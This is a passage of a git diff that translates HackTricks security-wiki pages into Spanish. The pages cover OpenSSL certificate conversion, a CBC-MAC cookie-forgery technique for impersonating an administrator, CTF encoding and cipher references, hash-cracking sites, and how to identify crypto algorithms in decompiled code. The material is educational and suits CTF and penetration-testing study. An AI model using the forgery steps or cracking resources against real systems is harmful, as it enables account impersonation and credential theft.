```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B a PFX** también requiere dos comandos: +1. Convertir P7B a CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. Convertir CER y clave privada a PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **Edición de ASN.1 (DER/PEM)** (funciona con certificados o casi cualquier otra estructura ASN.1): +1. Clona [asn1template](https://github.com/wllm-rbnt/asn1template/) ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. Convertir DER/PEM al formato de generación de OpenSSL ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. Edita certificatename.tpl de acuerdo a tus requisitos ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. Reconstruir el certificado modificado ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..d7ca7b4c0 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y deseas suplantar el nombre de usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **bruteforce** el **primer byte** de la cookie. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Código de autenticación de mensaje de encadenamiento de bloques cifrados** (**CBC-MAC**) es un método utilizado en criptografía. Funciona tomando un mensaje y cifrándolo bloque por bloque, donde el cifrado de cada bloque está vinculado al anterior. Este proceso crea una **cadena de bloques**, asegurando que cambiar incluso un solo bit del mensaje original conducirá a un cambio impredecible en el último bloque de datos cifrados. Para hacer o revertir tal cambio, se requiere la clave de cifrado, asegurando la seguridad. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Para calcular el CBC-MAC del mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se conserva el último bloque. La siguiente figura esboza el cálculo del CBC-MAC de un mensaje que comprende bloques![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrador de bloques E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# Vulnerabilidad -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Con CBC-MAC, generalmente el **IV utilizado es 0**.\ +Este es un problema porque 2 mensajes conocidos (`m1` y `m2`) generarán independientemente 2 firmas (`s1` y `s2`). Así que: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Entonces, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Lo cual es posible calcular sin conocer la clave del cifrado.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Imagina que estás cifrando el nombre **Administrator** en bloques de **8bytes**: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Puedes crear un nombre de usuario llamado **Administ** (m1) y recuperar la firma (s1).\ +Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\ +Ahora, puedes usar s32 como la firma del nombre completo **Administrator**. -### Summary +### Resumen -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1 +2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.** +3. Establece la cookie a s32 y será una cookie válida para el usuario **Administrator**. -# Attack Controlling IV +# Ataque Controlando IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\ +Si la cookie es solo el nombre de usuario cifrado, para suplantar al usuario "**administrator**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\ +Ahora, si puedes controlar el IV, puedes cambiar el primer byte del IV de modo que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator.** Esta cookie será válida para **suplantar** al usuario **administrator** con el **IV** inicial. -## References +## Referencias -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Más información en [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..f8e2fd688 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Online Hashes DBs +## Bases de Datos de Hashes en Línea -- _**Google it**_ +- _**Búscalo en Google**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -16,124 +16,119 @@ - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +## Autosolvers Mágicos - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (módulo mágico) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## Codificadores -Most of encoded data can be decoded with these 2 ressources: +La mayoría de los datos codificados se pueden decodificar con estos 2 recursos: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### Autosolvers de Sustitución - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno! -#### Caesar - ROTx Autosolvers +#### Autosolvers de César - ROTx - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### Cifrado Atbash - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### Autosolver de Codificaciones Base -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Verifica todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` +- **Base32 Hexadecimal Extendida** \[_0-9A-V_] +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `<~BQ%]q@psCd@rH0l~>` +- **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Muerto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,98 +137,81 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Teclado Dvorak ``` drnajapajrna ``` - -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) +- [https://www.geocachingtoolbox.com/index.php?lang=es\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=es&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Letras a su valor numérico ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### Cifrado Afín Codificar -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el resultado de vuelta a letra ``` krodfdudfrod ``` - ### SMS Code -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de la tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\ +Por ejemplo: 2=A, 22=B, 222=C, 3=D...\ +Puedes identificar este código porque verás\*\* varios números repetidos\*\*. -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Substitude each letter for 4 As or Bs (or 1s and 0s) - +Sustituye cada letra por 4 As o Bs (o 1s y 0s) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) -## Compression +## Compresión -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados. -## Easy Crypto +## Cripto Fácil ### XOR - Autosolver @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +Se necesita una palabra clave. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Se necesita una palabra clave ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Cripto Fuerte ### Fernet -2 base64 strings (token and key) - +2 cadenas base64 (token y clave) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Compartición Secreta de Samir +Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### Fuerza bruta de OpenSSL - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Herramientas - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..588954148 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# Algoritmos Criptográficos/Compresión -## Cryptographic/Compression Algorithms +## Algoritmos Criptográficos/Compresión {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## Identificación de Algoritmos -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +Si terminas en un código **usando desplazamientos a la derecha e izquierda, xors y varias operaciones aritméticas** es muy probable que sea la implementación de un **algoritmo criptográfico**. Aquí se mostrarán algunas formas de **identificar el algoritmo que se está utilizando sin necesidad de revertir cada paso**. -### API functions +### Funciones de API **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Consulta aquí la tabla de posibles algoritmos y sus valores asignados: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +Comprime y descomprime un búfer de datos dado. **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +De [la documentación](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La función **CryptAcquireContext** se utiliza para adquirir un identificador a un contenedor de claves particular dentro de un proveedor de servicios criptográficos (CSP) particular. **Este identificador devuelto se utiliza en llamadas a funciones de CryptoAPI** que utilizan el CSP seleccionado. **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Inicia el hash de un flujo de datos. Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Consulta aquí la tabla de posibles algoritmos y sus valores asignados: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### Constantes de código -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +A veces es realmente fácil identificar un algoritmo gracias al hecho de que necesita usar un valor especial y único. ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +Si buscas la primera constante en Google, esto es lo que obtienes: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +Por lo tanto, puedes asumir que la función decompilada es un **calculador de sha256.**\ +Puedes buscar cualquiera de las otras constantes y obtendrás (probablemente) el mismo resultado. -### data info +### información de datos -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +Si el código no tiene ninguna constante significativa, puede estar **cargando información de la sección .data**.\ +Puedes acceder a esos datos, **agrupar el primer dword** y buscarlo en Google como hemos hecho en la sección anterior: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +En este caso, si buscas **0xA56363C6** puedes encontrar que está relacionado con las **tablas del algoritmo AES**. -## RC4 **(Symmetric Crypt)** +## RC4 **(Criptografía Simétrica)** -### Characteristics +### Características -It's composed of 3 main parts: +Está compuesto por 3 partes principales: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **Etapa de inicialización/**: Crea una **tabla de valores de 0x00 a 0xFF** (256 bytes en total, 0x100). Esta tabla se llama comúnmente **Caja de Sustitución** (o SBox). +- **Etapa de mezcla**: **Recorrerá la tabla** creada antes (bucle de 0x100 iteraciones, nuevamente) modificando cada valor con bytes **semi-aleatorios**. Para crear estos bytes semi-aleatorios, se utiliza la **clave RC4**. Las **claves RC4** pueden tener **entre 1 y 256 bytes de longitud**, sin embargo, generalmente se recomienda que sea superior a 5 bytes. Comúnmente, las claves RC4 tienen 16 bytes de longitud. +- **Etapa XOR**: Finalmente, el texto plano o el texto cifrado se **XOR con los valores creados antes**. La función para cifrar y descifrar es la misma. Para esto, se realizará un **bucle a través de los 256 bytes creados** tantas veces como sea necesario. Esto generalmente se reconoce en un código decompilado con un **%256 (mod 256)**. > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **Para identificar un RC4 en un código desensamblado/decompilado, puedes buscar 2 bucles de tamaño 0x100 (con el uso de una clave) y luego un XOR de los datos de entrada con los 256 valores creados antes en los 2 bucles, probablemente usando un %256 (mod 256)** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **Etapa de Inicialización/Caja de Sustitución:** (Nota el número 256 usado como contador y cómo se escribe un 0 en cada lugar de los 256 caracteres) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **Etapa de Mezcla:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **Etapa XOR:** ![](<../../images/image (904).png>) -## **AES (Symmetric 